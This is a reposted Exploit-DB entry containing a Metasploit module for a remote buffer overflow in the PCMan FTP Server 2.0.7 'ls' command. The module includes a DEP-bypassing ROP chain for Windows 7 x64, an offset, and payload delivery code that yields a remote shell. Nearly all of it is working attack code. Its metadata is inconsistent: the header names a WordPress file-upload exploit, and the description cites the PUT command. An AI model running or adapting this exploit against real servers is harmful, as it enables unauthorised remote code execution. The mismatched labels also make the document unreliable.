PCMan FTP Server 2.0.7 – ‘ls’ Remote Buffer Overflow (Metasploit) - 体验盒子

作者： quanyechavshuo
日期： 2016-06-22
类别：
remote
平台：
windows_x86-64
来源：https://www.exploit-db.com/exploits/39999/
=begin
# Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload
# Date: 22-06-2016
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Exploit Author: quanyechavshuo
# Contact: quanyechavshuo@gmail.com
# Website: http://xinghuacai.github.io
# Category: ftp remote exploit

1. Description
this is another bug of pcmanftp which can be used to get a remote shell,and fits well with win7x64 with dep open,refer from
https://www.exploit-db.com/exploits/39662/

use anonymous and any password to login the ftp remotely,then send a command "ls AAA...A"(9000),the pcmanftp will crashed,later,find the 2009-2012th "A" will replace the pcmanftp's retn address

=end

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - ls Command',
'Description'=> %q{
This module exploits a buffer overflow vulnerability found in the PUT command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'quanyechavshuo'
],
'License'=> MSF_LICENSE,
'References' =>
[
[ 'EDB', '39662'],
[ 'OSVDB', 'N/A']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload'=>
{
'Space' => 1000,
'BadChars'=> "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets'=>
[
[ 'windows 7 x64 chinese',
{
#'Ret' => 0x77636aeb, #dont need ret here in win7 
'Offset' => 2008
}
],
],
'DisclosureDate' => 'Aug 07 2015',
'DefaultTarget'=> 0))
end

def check
connect_login
disconnect

if /220 PCMan's FTP Server 2\.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = 
[
0x77032c3b,# POP EAX # RETN [kernel32.dll] 
0x41414141,# add a 4 bytes data to fit retn 0x4 from the last function's retn before eip=rop_gadgets
0x73c112d0,# ptr to &VirtualProtect() [IAT OLEACC.dll]
0x76bb4412,# MOV EAX,DWORD PTR DS:[EAX] # RETN [MSCTF.dll] 
0x76408d2a,# XCHG EAX,ESI # RETN [SHLWAPI.dll] 
0x76b607f0,# POP EBP # RETN [msvcrt.dll] 
0x74916f14,# & push esp # ret[RICHED20.dll]
0x7368b031,# POP EAX # RETN [COMCTL32.dll] 
0xfffffaff,# Value to negate, will become 0x00000201
0x756c9a5c,# NEG EAX # RETN [SHELL32.dll] 
0x767088bd,# XCHG EAX,EBX # RETN [RPCRT4.dll] 
0x77031d7b,# POP EAX # RETN [kernel32.dll] 
0xffffffc0,# Value to negate, will become 0x00000040
0x76cc4402,# NEG EAX # RETN [SHELL32.dll] 
0x76b4ad98,# XCHG EAX,EDX # RETN [SHELL32.dll] 
0x756b1cc1,# POP ECX # RETN [SHELL32.dll] 
0x7647c663,# &Writable location [USP10.dll]
0x73756cf3,# POP EDI # RETN [COMCTL32.dll] 
0x76cc4404,# RETN (ROP NOP) [USER32.dll]
0x76b3f5d4,# POP EAX # RETN [msvcrt.dll] 
0x90909090,# nop 
0x7366e16f,# PUSHAD # RETN [COMCTL32.dll] 

].flatten.pack("V*")

return rop_gadgets

end


def exploit
connect_login

print_status('Generating payload...')
sploit = rand_text_alpha(target['Offset'])

#tmp = sploit
#print_status(tmp)
sploit << create_rop_chain()
#sploit << make_nops(9) 这句产生的nop并非90
sploit << "\x90"*30
#sploit << "\x41"*30
#sploit << "\xcc"
sploit << payload.encoded

#tmp=sploit
tmp=make_nops(9)
print_status(tmp)

send_cmd( ["ls", sploit], false )
disconnect
end

end